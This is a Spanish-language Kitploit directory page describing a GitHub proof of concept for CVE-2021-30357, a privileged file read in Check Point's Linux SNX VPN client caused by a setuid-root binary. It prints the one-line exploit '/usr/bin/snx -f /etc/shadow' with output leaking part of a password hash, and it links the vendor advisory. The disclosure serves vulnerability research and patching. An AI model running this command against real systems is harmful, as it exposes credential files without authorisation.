Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-30357_CheckPoint_SNX_VPN_PoC — Prueba de concepto para lectura de archivos con privilegios a través del cliente Linux SNX VPN de CheckPoint. | Kitploit
Herramientas/GitHubGitHub/joaovarelas/cve-2021-30357_checkpoint_snx_vpn_poc
Escalada de PrivilegiosEscáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónPruebas de Penetración
GitHubjoaovarelas/cve-2021-30357_checkpoint_snx_vpn_poc

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

Prueba de concepto para lectura de archivos con privilegios a través del cliente Linux SNX VPN de CheckPoint.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
61hace 3 añosAún no revisado

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

Prueba de concepto para la lectura privilegiada de archivos a través del cliente VPN SNX de CheckPoint para Linux.

Versión Afectada

  • CheckPointVPN_SNX_Linux_800007075.sh
  • MD5 Checksum: 4372e9936e2dfb1d1ebcef3ed4dd7787

Exploit

Para explotarlo, basta con cargar cualquier archivo como configuración de SNX usando el parámetro -f. Si el archivo no es una configuración SNX válida, se producirá un error y se mostrará un error de sintaxis, filtrando el contenido hasta que se encuentre el terminador de cadena (p. ej. etc/shadow):

root@kitploit:~
$ /usr/bin/snx -f /etc/shadow

parsing of the file: /etc/shadow  failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'

Valid attributes are:

   - server          SNX server to connet to
   - sslport         The SNX SSL port (if not default)
   - username        the user name

(...)

Vulnerabilidad

La causa se debe a que el ejecutable /usr/bin/snx tiene el bit SETUID y se ejecuta como superusuario, establecido durante la instalación.

En particular, la variable COMMAND_TO_RUN definida en el archivo de instalación .sh (CheckPointVPN_SNX_Linux_800007075.sh):

root@kitploit:~
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"

En el parámetro --mode=u=rxs, la última s establece el bit SUID, lo que hace que el binario ejecutable se ejecute como root.

Aviso Oficial

  • https://support.checkpoint.com/results/sk/sk173513
  • https://vrls.ws/posts/2021/06/cve-2021-30357-check-point-software-vpn-arbitrary-file-read/
Descargar herramienta